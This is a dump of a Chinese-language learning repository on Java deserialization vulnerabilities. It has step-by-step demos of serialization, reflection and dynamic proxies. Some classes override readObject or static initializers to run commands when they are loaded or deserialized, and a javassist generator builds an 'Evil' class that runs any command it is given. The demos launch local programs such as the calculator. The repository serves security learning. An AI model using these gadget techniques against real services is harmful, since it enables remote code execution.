├── .classpath ├── .gitignore ├── .project ├── .settings ├── org.eclipse.core.resources.prefs ├── org.eclipse.jdt.core.prefs └── org.eclipse.m2e.core.prefs ├── README.md ├── obj ├── object.obj ├── pom.xml └── src ├── ApacheCommonsCollections ├── Image.png ├── InvokerTransformerTest.java ├── TransformedMapPoC.java ├── lazymapPoc.java ├── shenqi158demo.java └── test3.java ├── ApacheTika └── readme ├── Apachelog4j └── readme ├── Json ├── Jacksontest.java ├── fastjsontest.java └── readme.txt ├── Step1 ├── deserTest.java └── deserTest2.java ├── Step2 ├── reflectionTest.java ├── reflectionTest2.java └── reflectionTest3.java ├── Step3 ├── proxyTest.java └── proxyTest2.java ├── Step6EvilClass ├── createEvilClass.java └── evilClassTest.java ├── Struts2 └── s2_055.java └── spring ├── ExploitClient.java ├── ExploitableServer.java ├── ExportObject.java └── HttpFileHandler.java /.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.class 2 | bin 3 | /target/ 4 | -------------------------------------------------------------------------------- /.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | Java_deserialize_vuln_lab 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.jdt.core.javabuilder 10 | 11 | 12 | 13 | 14 | org.eclipse.m2e.core.maven2Builder 15 | 16 | 17 | 18 | 19 | 20 | org.eclipse.m2e.core.maven2Nature 21 | org.eclipse.jdt.core.javanature 22 | 23 | 24 | -------------------------------------------------------------------------------- /.settings/org.eclipse.core.resources.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | encoding/=UTF-8 3 | -------------------------------------------------------------------------------- /.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled 3 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 4 | org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve 5 | org.eclipse.jdt.core.compiler.compliance=1.8 6 | org.eclipse.jdt.core.compiler.debug.lineNumber=generate 7 | org.eclipse.jdt.core.compiler.debug.localVariable=generate 8 | org.eclipse.jdt.core.compiler.debug.sourceFile=generate 9 | org.eclipse.jdt.core.compiler.problem.assertIdentifier=error 10 | org.eclipse.jdt.core.compiler.problem.enumIdentifier=error 11 | org.eclipse.jdt.core.compiler.problem.forbiddenReference=warning 12 | org.eclipse.jdt.core.compiler.source=1.8 13 | -------------------------------------------------------------------------------- /.settings/org.eclipse.m2e.core.prefs: -------------------------------------------------------------------------------- 1 | activeProfiles= 2 | eclipse.preferences.version=1 3 | resolveWorkspaceProjects=true 4 | version=1 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | "# Java_deserialize_vuln_lab" 2 | 3 | Java反序列化漏洞学习实践中的代码 4 | 5 | [Java反序列化漏洞学习实践一:从Serializbale接口开始,先弹个计算器](http://code2sec.com/javafan-xu-lie-hua-lou-dong-xue-xi-shi-jian-yi-cong-serializbalejie-kou-kai-shi-xian-dan-ge-ji-suan-qi.html) 6 | 7 | [Java反序列化漏洞学习实践二:Java的反射机制(Java Reflection)](http://code2sec.com/javafan-xu-lie-hua-lou-dong-xue-xi-shi-jian-er-javade-fan-she-ji-zhi-java-reflection.html) 8 | 9 | [Java反序列化漏洞学习实践三:理解java的动态代理机制](http://code2sec.com/javafan-xu-lie-hua-lou-dong-xue-xi-shi-jian-san-li-jie-javade-dong-tai-dai-li-ji-zhi.html) 10 | 11 | -------------------------------------------------------------------------------- /obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/obj -------------------------------------------------------------------------------- /object.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/object.obj -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 4 | 4.0.0 5 | com.bit4woo.vulnreview 6 | Java_deserialize_vuln_lab 7 | 0.0.1-SNAPSHOT 8 | 9 | src 10 | 11 | 12 | src 13 | 14 | **/*.java 15 | 16 | 17 | 18 | 19 | 20 | maven-compiler-plugin 21 | 3.7.0 22 | 23 | 1.8 24 | 1.8 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | org.javassist 34 | javassist 35 | 3.24.0-GA 36 | 37 | 38 | -------------------------------------------------------------------------------- /src/ApacheCommonsCollections/Image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/ApacheCommonsCollections/Image.png -------------------------------------------------------------------------------- /src/ApacheCommonsCollections/InvokerTransformerTest.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/ApacheCommonsCollections/InvokerTransformerTest.java -------------------------------------------------------------------------------- /src/ApacheCommonsCollections/TransformedMapPoC.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/ApacheCommonsCollections/TransformedMapPoC.java -------------------------------------------------------------------------------- /src/ApacheCommonsCollections/lazymapPoc.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/ApacheCommonsCollections/lazymapPoc.java -------------------------------------------------------------------------------- /src/ApacheCommonsCollections/shenqi158demo.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/ApacheCommonsCollections/shenqi158demo.java -------------------------------------------------------------------------------- /src/ApacheCommonsCollections/test3.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/ApacheCommonsCollections/test3.java -------------------------------------------------------------------------------- /src/ApacheTika/readme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/ApacheTika/readme -------------------------------------------------------------------------------- /src/Apachelog4j/readme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/Apachelog4j/readme -------------------------------------------------------------------------------- /src/Json/Jacksontest.java: -------------------------------------------------------------------------------- 1 | package Json; 2 | 3 | public class Jacksontest { 4 | 5 | } 6 | -------------------------------------------------------------------------------- /src/Json/fastjsontest.java: -------------------------------------------------------------------------------- 1 | package Json; 2 | 3 | public class fastjsontest { 4 | 5 | } 6 | -------------------------------------------------------------------------------- /src/Json/readme.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/Json/readme.txt -------------------------------------------------------------------------------- /src/Step1/deserTest.java: -------------------------------------------------------------------------------- 1 | package Step1; 2 | 3 | import java.io.File; 4 | import java.io.FileInputStream; 5 | import java.io.FileNotFoundException; 6 | import java.io.FileOutputStream; 7 | import java.io.IOException; 8 | import java.io.ObjectInputStream; 9 | import java.io.ObjectOutputStream; 10 | import java.io.Serializable; 11 | 12 | public class deserTest implements Serializable { 13 | 14 | /** 15 | * 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。 16 | */ 17 | private static final long serialVersionUID = 1L; 18 | 19 | private int n; 20 | 21 | public deserTest(int n){ //构造函数,初始化时执行 22 | this.n=n; 23 | } 24 | 25 | public static void main(String[] args) { 26 | deserTest x = new deserTest(5);//实例一个对象 27 | operation.ser(x);//序列化 28 | operation.deser();//反序列化 29 | } 30 | } 31 | 32 | class operation { 33 | public static void ser(Object obj) { 34 | //序列化操作,写数据 35 | try{ 36 | ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj")); 37 | //ObjectOutputStream能把Object输出成Byte流 38 | oos.writeObject(obj);//序列化关键函数 39 | oos.flush(); //缓冲流 40 | oos.close(); //关闭流 41 | } catch (FileNotFoundException e) 42 | { 43 | e.printStackTrace(); 44 | } catch (IOException e) 45 | { 46 | e.printStackTrace(); 47 | } 48 | } 49 | 50 | public static void deser() { 51 | //反序列化操作,读取数据 52 | try { 53 | File file = new File("object.obj"); 54 | ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file)); 55 | Object x = ois.readObject();//反序列化的关键函数 56 | System.out.print(x); 57 | ois.close(); 58 | } catch (FileNotFoundException e) { 59 | // TODO Auto-generated catch block 60 | e.printStackTrace(); 61 | } catch (Exception e) { 62 | // TODO Auto-generated catch block 63 | e.printStackTrace(); 64 | } 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /src/Step1/deserTest2.java: -------------------------------------------------------------------------------- 1 | package Step1; 2 | 3 | import java.io.File; 4 | import java.io.FileInputStream; 5 | import java.io.FileNotFoundException; 6 | import java.io.FileOutputStream; 7 | import java.io.IOException; 8 | import java.io.ObjectInputStream; 9 | import java.io.ObjectOutputStream; 10 | import java.io.Serializable; 11 | 12 | public class deserTest2 implements Serializable { 13 | 14 | /** 15 | * 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。 16 | * 然后重写readObject方法,实现弹计算器。 17 | */ 18 | private static final long serialVersionUID = 1L; 19 | 20 | private int n; 21 | 22 | public deserTest2(int n){ //构造函数,初始化时执行 23 | this.n=n; 24 | } 25 | //重写readObject方法,加入了弹计算器的执行代码的内容 26 | private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{ 27 | in.defaultReadObject();//调用原始的readOject方法 28 | Runtime.getRuntime().exec("calc.exe"); 29 | System.out.println("test"); 30 | } 31 | 32 | public static void main(String[] args) { 33 | //deserTest2 x = new deserTest2(5);//实例一个对象 34 | //operation2.ser(x);//序列化 35 | operation2.deser();//反序列化 36 | } 37 | } 38 | 39 | class operation2 { 40 | public static void ser(Object obj) { 41 | //序列化操作,写数据 42 | try{ 43 | ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj")); 44 | //ObjectOutputStream能把Object输出成Byte流 45 | oos.writeObject(obj);//序列化关键函数 46 | oos.flush(); //缓冲流 47 | oos.close(); //关闭流 48 | } catch (FileNotFoundException e) 49 | { 50 | e.printStackTrace(); 51 | } catch (IOException e) 52 | { 53 | e.printStackTrace(); 54 | } 55 | } 56 | 57 | public static void deser() { 58 | //反序列化操作,读取数据 59 | try { 60 | File file = new File("object.obj"); 61 | ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file)); 62 | Object x = ois.readObject();//反序列化的关键函数 63 | System.out.print(x); 64 | ois.close(); 65 | } catch (FileNotFoundException e) { 66 | // TODO Auto-generated catch block 67 | e.printStackTrace(); 68 | } catch (Exception e) { 69 | // TODO Auto-generated catch block 70 | e.printStackTrace(); 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/Step2/reflectionTest.java: -------------------------------------------------------------------------------- 1 | package Step2; 2 | 3 | import java.lang.reflect.Method; 4 | 5 | public class reflectionTest { 6 | 7 | public static void main(String[] args){ 8 | try { 9 | 10 | //Class获取类的方法一:实例对象的getClass()方法; 11 | User testObject = new User("zhangshan",19); 12 | Class Method1Class = testObject.getClass(); 13 | 14 | //Class获取类的方法二:类的.class(最安全/性能最好)属性;有点类似python的getattr()。java中每个类型都有class 属性. 15 | Class Method2Class = User.class; 16 | 17 | //Class对象的获取方法三:运用Class.forName(String className)动态加载类,className需要是类的全限定名(最常用). 18 | //这种方法也最容易理解,通过类名(jar包中的完整namespace)就可以调用其中的方法,也最符合我们需要的使用场景. 19 | //j2eeScan burp 插件就使用了这种反射机制。 20 | String path = "Step2.User"; 21 | Class Method3Class = Class.forName(path); 22 | 23 | 24 | 25 | Method[] methods = Method3Class.getMethods(); 26 | //Method[] methods = Method2Class.getMethods(); 27 | //Method[] methods = Method3Class.getMethods(); 28 | 29 | //通过类的class属性获取对应的Class类的对象,通过这个Class类的对象获取test类中的方法集合 30 | 31 | /* String name = Method3Class.getName(); 32 | * int modifiers = Method3Class.getModifiers(); 33 | * .....还有很多方法 34 | * 也就是说,对于一个任意的可以访问到的类,我们都能够通过以上这些方法来知道它的所有的方法和属性; 35 | * 知道了它的方法和属性,就可以调用这些方法和属性。 36 | */ 37 | 38 | //调用User类中的方法 39 | 40 | for(Method method : methods){ 41 | if(method.getName().equals("getName")) { 42 | System.out.println("method = " + method.getName()); 43 | 44 | Class[] parameterTypes = method.getParameterTypes();//获取方法的参数 45 | Class returnType = method.getReturnType();//获取方法的返回类型 46 | try { 47 | User user = (User)Method3Class.newInstance(); 48 | Object x = method.invoke(user);//user.getName(); 49 | //Object x = method.invoke(new test(1), 666); 50 | //new关键字能调用任何构造方法,newInstance()只能调用无参构造方法。但反射的场景中是不应该有机会使用new关键词的。 51 | System.out.println(x); 52 | 53 | } catch (Exception e) { 54 | e.printStackTrace(); 55 | } 56 | } 57 | } 58 | 59 | 60 | 61 | Method method = Method3Class.getMethod("setName",String.class); 62 | User user1 = (User)Method3Class.getConstructor(String.class,Integer.class).newInstance("lisi",19); 63 | //调用自定义构造器的方法 64 | Object x = method.invoke(user1,"李四");//第一个参数是类的对象。第二参数是函数的参数 65 | System.out.println(user1.getName()); 66 | } catch (Exception e1) { 67 | e1.printStackTrace(); 68 | } 69 | 70 | } 71 | } 72 | 73 | class User{ 74 | private Integer age; 75 | private String name; 76 | 77 | public User() {} 78 | 79 | public User(String name,Integer age){ //构造函数,初始化时执行 80 | this.age = age; 81 | this.name = name; 82 | } 83 | 84 | 85 | public Integer getAge() { 86 | return age; 87 | } 88 | 89 | public void setAge(Integer age) { 90 | this.age = age; 91 | } 92 | 93 | public String getName() { 94 | return name; 95 | } 96 | 97 | public void setName(String name) { 98 | this.name = name; 99 | } 100 | } -------------------------------------------------------------------------------- /src/Step2/reflectionTest2.java: -------------------------------------------------------------------------------- 1 | package Step2; 2 | 3 | import java.io.File; 4 | import java.io.FileInputStream; 5 | import java.io.FileNotFoundException; 6 | import java.io.FileOutputStream; 7 | import java.io.IOException; 8 | import java.io.ObjectInputStream; 9 | import java.io.ObjectOutputStream; 10 | import java.io.Serializable; 11 | import java.lang.reflect.Method; 12 | 13 | /* 14 | * 有了反射方法的基础,再结合step1,实现一个基于反射方法的弹计算器。 15 | * 在实现了Serializable的类中, 通过重写readObject方法来实现 16 | */ 17 | 18 | public class reflectionTest2 implements Serializable{ 19 | 20 | private Integer age; 21 | private String name; 22 | 23 | public reflectionTest2() {} 24 | 25 | public reflectionTest2(String name,Integer age){ //构造函数,初始化时执行 26 | this.age = age; 27 | this.name = name; 28 | } 29 | 30 | private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{ 31 | in.defaultReadObject();//调用原始的readOject方法 32 | 33 | try {//通过反射方法执行命令; 34 | Method method= java.lang.Runtime.class.getMethod("exec", String.class); 35 | Object result = method.invoke(Runtime.getRuntime(), "calc.exe"); 36 | } 37 | catch(Exception e) { 38 | e.printStackTrace(); 39 | } 40 | } 41 | 42 | public static void main(String[] args){ 43 | reflectionTest2 x= new reflectionTest2(); 44 | operation.ser(x); 45 | operation.deser(); 46 | } 47 | } 48 | 49 | 50 | 51 | class operation { 52 | public static void ser(Object obj) { 53 | //序列化操作,写数据 54 | try{ 55 | ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj")); 56 | //ObjectOutputStream能把Object输出成Byte流 57 | oos.writeObject(obj);//序列化关键函数 58 | oos.flush(); //缓冲流 59 | oos.close(); //关闭流 60 | } catch (FileNotFoundException e) 61 | { 62 | e.printStackTrace(); 63 | } catch (IOException e) 64 | { 65 | e.printStackTrace(); 66 | } 67 | } 68 | 69 | public static void deser() { 70 | //反序列化操作,读取数据 71 | try { 72 | File file = new File("object.obj"); 73 | ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file)); 74 | Object x = ois.readObject();//反序列化的关键函数 75 | System.out.print(x); 76 | ois.close(); 77 | } catch (FileNotFoundException e) { 78 | e.printStackTrace(); 79 | } catch (Exception e) { 80 | e.printStackTrace(); 81 | } 82 | } 83 | } -------------------------------------------------------------------------------- /src/Step2/reflectionTest3.java: -------------------------------------------------------------------------------- 1 | package Step2; 2 | 3 | import java.lang.reflect.Constructor; 4 | import java.lang.reflect.Method; 5 | /* 6 | * 测试setAccessible方法,可以通过将它设置为true--setAccessible(true) 来访问private属性和函数。 7 | * 而且可以提高程序的执行效率,因为减少了安全检查。 8 | */ 9 | public class reflectionTest3 { 10 | 11 | public static void main(String[] args){ 12 | try { 13 | String path = "Step2.User3"; 14 | Class clazz = Class.forName(path); 15 | 16 | //Method method = clazz.getMethod("setName",String.class); 17 | //getMethod只能获取public的方法,private的方法需要使用getDeclaredMethod来获取,并且设置setAccessible(true)才可以调用访问。 18 | //参数属性也是一样。 19 | Method method = clazz.getDeclaredMethod("setName", String.class); 20 | method.setAccessible(true); 21 | 22 | //Constructor strut = clazz.getConstructor(String.class,Integer.class); 23 | //getConstructor只能获取public的构造方法 24 | Constructor strut = clazz.getDeclaredConstructor(String.class,Integer.class); 25 | strut.setAccessible(true); 26 | User3 user = (User3)strut.newInstance("bit4",19); 27 | //调用自定义构造器的方法 28 | Object x = method.invoke(user,"比特");//第一个参数是类的对象。第二参数是函数的参数 29 | System.out.println(user.getName()); 30 | 31 | 32 | } catch (Exception e1) { 33 | e1.printStackTrace(); 34 | } 35 | } 36 | } 37 | 38 | class User3{ 39 | 40 | private Integer age; 41 | private String name; 42 | 43 | private User3() {} 44 | 45 | private User3(String name,Integer age){ //构造函数,初始化时执行 46 | this.age = age; 47 | this.name = name; 48 | } 49 | 50 | 51 | private Integer getAge() { 52 | return age; 53 | } 54 | 55 | private void setAge(Integer age) { 56 | this.age = age; 57 | } 58 | 59 | public String getName() { 60 | return name; 61 | } 62 | 63 | private void setName(String name) { 64 | this.name = name; 65 | } 66 | } -------------------------------------------------------------------------------- /src/Step3/proxyTest.java: -------------------------------------------------------------------------------- 1 | package Step3; 2 | 3 | /* 4 | * 代理模式的简单demo,静态代理 5 | * 6 | * 代理的使用场景:某程序员入职公司接手了一个项目,他读源码发现某些地方可以增强(比如在某些函数执行前应该打印日志)。 7 | * 如果他直接在原始代码的基础上直接修改容易出错,他的做法是:自己实现一个类,和原始类实现相同的接口(或者继承相同的类), 8 | * 通过在方法中引用老程序的方法来实现自己的方法,从而实现增强方法的目的。 9 | */ 10 | 11 | public class proxyTest{ 12 | public static void main(String[] args) { 13 | //Subject sub = new RealSubject();//场景中得旧代码,老程序员写的。 14 | Subject sub = new ProxySubject();//新入职的程序员,自己实现了ProxySubject类,然后改成了这句。来增强老程序的代码。 15 | sub.request(); 16 | } 17 | } 18 | 19 | abstract class Subject//也可以是接口interface 20 | {//抽象角色:通过接口或抽象类声明真实角色实现的业务方法。 21 | //类比网络代理,比如http代理,都支持http协议 22 | abstract void request(); 23 | } 24 | 25 | //老程序员写的代码,实现了需要的主要功能。 26 | class RealSubject extends Subject 27 | {//真实角色:实现抽象角色,定义真实角色所要实现的业务逻辑,供代理角色调用。 28 | //类比真实的http请求 29 | public RealSubject()//默认构造方法 30 | { 31 | } 32 | 33 | @Override 34 | public void request() 35 | { 36 | System.out.println("From real subject."); 37 | } 38 | } 39 | 40 | //新入职程序员实现的类,目的是增强老程序员的代码。 41 | class ProxySubject extends Subject//关键是类的继承。 42 | {//代理角色:实现抽象角色,是真实角色的代理,通过真实角色的业务逻辑方法来实现抽象方法,并可以附加自己的操作。 43 | //类比通过代理发出http请求,这个代理当然可以对http请求做出任何想要的修改。 44 | private RealSubject realSubject; //以真实角色作为代理角色的属性 45 | 46 | public ProxySubject() 47 | { 48 | } 49 | 50 | @Override 51 | public void request() //该方法封装了真实对象的request方法,老程序员的方法。 52 | {//所谓的“控制”就体现在这里 53 | preRequest(); 54 | if( realSubject == null ) 55 | { 56 | realSubject = new RealSubject(); 57 | } 58 | realSubject.request(); //此处执行真实对象的request方法 59 | postRequest(); 60 | } 61 | 62 | private void preRequest() 63 | { 64 | //在请求前做某些处理,比如打印日志,修改请求包等等 65 | System.out.println("Do something before requesting: print log,change request"); 66 | } 67 | 68 | private void postRequest() 69 | { 70 | //在请求后做某些处理,打印日志 71 | System.out.println("Do something after requesting: print log"); 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/Step3/proxyTest2.java: -------------------------------------------------------------------------------- 1 | package Step3; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.lang.reflect.Method; 5 | import java.lang.reflect.Proxy; 6 | 7 | /* 8 | * 动态代理的简单demo,动态代理利用了反射机制 9 | * 每一个动态代理类都会有一个与之关联的invocation handler。真正的调用是在invocation handler的invoke()方法里完成的。 10 | * 感谢蝶离飞、廖新喜2位师傅的指导 11 | */ 12 | 13 | public class proxyTest2{ 14 | public static void main(String[] args) { 15 | DynamicSubject sub=new RealDynamicSubject();//之前这里sub的类型是RealDynamicSubject,不对;但是为什么呢? 16 | Handler handler = new Handler(sub); 17 | 18 | //newProxyInstance(ClassLoader loader,Class[] interfaces,InvocationHandler h) 19 | //CLassLoader loader:指定动态代理类的类加载器,即生成完成后的代理对象的类加载器 20 | //Class interfaces:指定动态代理类需要实现的所有接口,需要被增强的接口列表(数据) 21 | //InvocationHandler h: 指定与动态代理类关联的 InvocationHandler对象,具体的增强逻辑 22 | 23 | DynamicSubject sub2 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), new Class[]{DynamicSubject.class}, handler); 24 | 25 | DynamicSubject sub3 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), sub.getClass().getInterfaces(), handler); 26 | 27 | DynamicSubject sub4 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), RealDynamicSubject.class.getInterfaces(), handler); 28 | 29 | //从上面的调用方法可知,可以对不同的对象使用相同的模式实现来实现其代理,这就是相对静态代理的优势。 30 | 31 | System.out.println("sub.getClass() = "+sub.getClass()); 32 | System.out.println("DynamicSubject.class = " +DynamicSubject.class); 33 | System.out.println(new Class[]{DynamicSubject.class}); 34 | System.out.println(RealDynamicSubject.class.getInterfaces()); 35 | 36 | sub2.request(); 37 | sub3.request(); 38 | sub4.request(); 39 | } 40 | } 41 | 42 | interface DynamicSubject 43 | {//抽象角色:通过接口或抽象类声明真实角色实现的业务方法。注意:动态代理只能是接口,否则代理类转成该类型事会报错 44 | //类比网络代理,比如http代理,都支持http协议 45 | abstract void request(); 46 | } 47 | 48 | class RealDynamicSubject implements DynamicSubject 49 | {//真实角色:实现抽象角色,定义真实角色所要实现的业务逻辑,供代理handler处理调用。 50 | //类比真实的http请求 51 | public RealDynamicSubject() 52 | { 53 | } 54 | 55 | public void request() 56 | { 57 | System.out.println("From real subject."); 58 | } 59 | } 60 | 61 | /** 62 | * 处理器 63 | */ 64 | class Handler implements InvocationHandler{ 65 | private Object obj; //被代理的对象(也就是老程序员实现的对象),不管对象是什么类型;之前声明成RealDynamicSubject,不应该这么做 66 | /** 67 | * 所有的流程控制都在invoke方法中 68 | * proxy:代理类 69 | * method:正在调用的方法,反射机制调用函数所必须! 70 | * args:被调用方法的参数列表,反射机制调用函数所必须! 71 | */ 72 | @Override 73 | public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {//接口必须实现的方法,也是逻辑核心 74 | System.out.println("Do something before requesting: print log"); 75 | Object xxx = method.invoke(this.obj, args);//通过反射机制调用老程序员的对象代码。 76 | System.out.println("Do something after requesting: print log"); 77 | return xxx; 78 | } 79 | public Handler(Object obj) { 80 | //构造函数,把真实角色的实例传递进来,这个代理handler的目的就是增强它,或者说需要调用它来实现主要的功能。 81 | this.obj = obj; 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /src/Step6EvilClass/createEvilClass.java: -------------------------------------------------------------------------------- 1 | package Step6EvilClass; 2 | import java.io.File; 3 | import java.net.URL; 4 | import java.net.URLClassLoader; 5 | 6 | import javassist.ClassPool; 7 | import javassist.CtClass; 8 | import javassist.CtConstructor; 9 | import javassist.CtField; 10 | import javassist.CtMethod; 11 | import javassist.CtNewMethod; 12 | import javassist.bytecode.AccessFlag; 13 | 14 | public class createEvilClass { 15 | 16 | public static byte[] create(String cmd) { 17 | 18 | ClassPool pool = ClassPool.getDefault(); 19 | //会从classpath中查询该类 20 | CtClass evilclass = pool.makeClass("Evil"); 21 | try { 22 | CtField f= new CtField(CtClass.intType,"id",evilclass);//获得一个类型为int,名称为id的字段 23 | f.setModifiers(AccessFlag.PUBLIC);//将字段设置为public 24 | evilclass.addField(f);//将字段设置到类上 25 | 26 | //添加静态代码块 27 | CtConstructor ci = evilclass.makeClassInitializer(); 28 | ci.setBody("{try{Runtime.getRuntime().exec(\""+cmd+"\");}catch(Exception e){e.printStackTrace();}}"); 29 | 30 | //添加构造函数 31 | CtConstructor ctConstructor1 = new CtConstructor(new CtClass[]{}, evilclass);//指定参数构造器 32 | ctConstructor1.setBody("{try{Runtime.getRuntime().exec(\""+cmd+"\");}catch(Exception e){e.printStackTrace();}}");//$1代表第一个参数,$2代表第二个参数,$0代表this 33 | evilclass.addConstructor(ctConstructor1); 34 | 35 | //添加方法 36 | CtMethod helloM=CtNewMethod.make("public void fun(){try{Runtime.getRuntime().exec(\""+cmd+"\");}catch(Exception e){e.printStackTrace();}}",evilclass); 37 | evilclass.addMethod(helloM); 38 | 39 | evilclass.writeFile("D:\\");//将生成的.class文件保存到磁盘 40 | byte[] b=evilclass.toBytecode(); 41 | 42 | return b; 43 | }catch(Exception e) { 44 | e.printStackTrace(); 45 | } 46 | return null; 47 | } 48 | 49 | public static void main(String[] args) { 50 | 51 | 52 | /* //从本地或者网络加载类 53 | try { 54 | File file = new File("D:\\"); 55 | URL url = file.toURL(); 56 | URL[] urls = new URL[]{url}; 57 | ClassLoader cl = new URLClassLoader(urls); 58 | Class cls = cl.loadClass("Evil"); 59 | cls.newInstance(); 60 | // 61 | 62 | 63 | } catch (Exception e) { 64 | e.printStackTrace(); 65 | }*/ 66 | 67 | 68 | try { 69 | File file = new File("D:\\"); 70 | URL url = file.toURL(); 71 | URL[] urls = new URL[]{url}; 72 | ClassLoader cl = new URLClassLoader(urls); 73 | Class yyy = Class.forName("Evil",true,cl); 74 | 75 | } catch (Exception e) { 76 | e.printStackTrace(); 77 | } 78 | 79 | 80 | byte[] st = createEvilClass.create("calc"); 81 | } 82 | 83 | } 84 | -------------------------------------------------------------------------------- /src/Step6EvilClass/evilClassTest.java: -------------------------------------------------------------------------------- 1 | package Step6EvilClass; 2 | import java.io.IOException; 3 | import java.util.Hashtable; 4 | 5 | import javax.naming.Context; 6 | import javax.naming.Name; 7 | import javax.naming.spi.ObjectFactory; 8 | 9 | public class evilClassTest{ 10 | public static void main(String[] argv){ 11 | try { 12 | //触发方式1 13 | Class xxx = Class.forName("EvilClasses.evilClazz");//只会执行静态代码块中的命令。 14 | evilClazz cs = (evilClazz)xxx.newInstance();//这里触发构造函数中的命令。 15 | 16 | Class yyy = Class.forName("EvilClasses.evilClazz",true,ClassLoader.getSystemClassLoader()); 17 | //只会执行静态代码块中的命令,但它可以执行指定类加载器,更为灵活 18 | evilClazz cs1 = (evilClazz)yyy.newInstance();//这里触发构造函数中的命令。 19 | 20 | 21 | //触发方式2 22 | Class c1 = ClassLoader.getSystemClassLoader().loadClass("EvilClasses.evilClazz"); //这里不会触发静态代码块,因为是隐式加载方式。 23 | c1.newInstance();//这里会触发静态代码块后,触发构造函数 24 | 25 | 26 | //触发方式3,应该和方式2本质上是一样的! 27 | new evilClazz(); //会执行静态代码块和构造函数中的命令 28 | 29 | 30 | //触发方式4 31 | new evilClazz().fun();//静态代码,构造函数,自定义函数都会触发。函数调用方式,不用多说 32 | 33 | //凡是能触发构造函数中代码的方法,都能触发静态代码块中的代码;凡是能触发自定义动态函数中代码的方法,都能触发静态代码块中的方法。 34 | 35 | //getObjectInstance()函数的代码如何触发?和web框架环境有关系,需要学习!! 36 | 37 | 38 | } catch (Exception e) { 39 | e.printStackTrace(); 40 | } 41 | } 42 | } 43 | 44 | class evilClazz implements ObjectFactory{ 45 | public static String aaa; 46 | 47 | //静态代码块命令执行 48 | static 49 | { 50 | try { 51 | Runtime.getRuntime().exec("explorer.exe"); 52 | } catch (IOException e) { 53 | e.printStackTrace(); 54 | } 55 | } 56 | 57 | //构造函数命令执行 58 | evilClazz(){ 59 | try{ 60 | Runtime.getRuntime().exec("calc"); 61 | }catch(Exception e){ 62 | e.printStackTrace(); 63 | } 64 | } 65 | 66 | //自定义函数 67 | public void fun() { 68 | try{ 69 | Runtime.getRuntime().exec("notepad.exe"); 70 | }catch(Exception e){ 71 | e.printStackTrace(); 72 | } 73 | } 74 | 75 | //getObjectInstance命令执行,是因为实现了ObjectFactory接口。 76 | @Override 77 | public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) { 78 | try { 79 | Runtime.getRuntime().exec("mstsc.exe"); 80 | } catch (IOException e) { 81 | e.printStackTrace(); 82 | } 83 | return null; 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /src/Struts2/s2_055.java: -------------------------------------------------------------------------------- 1 | package Struts2; 2 | 3 | public class s2_055 { 4 | 5 | } 6 | -------------------------------------------------------------------------------- /src/spring/ExploitClient.java: -------------------------------------------------------------------------------- 1 | package 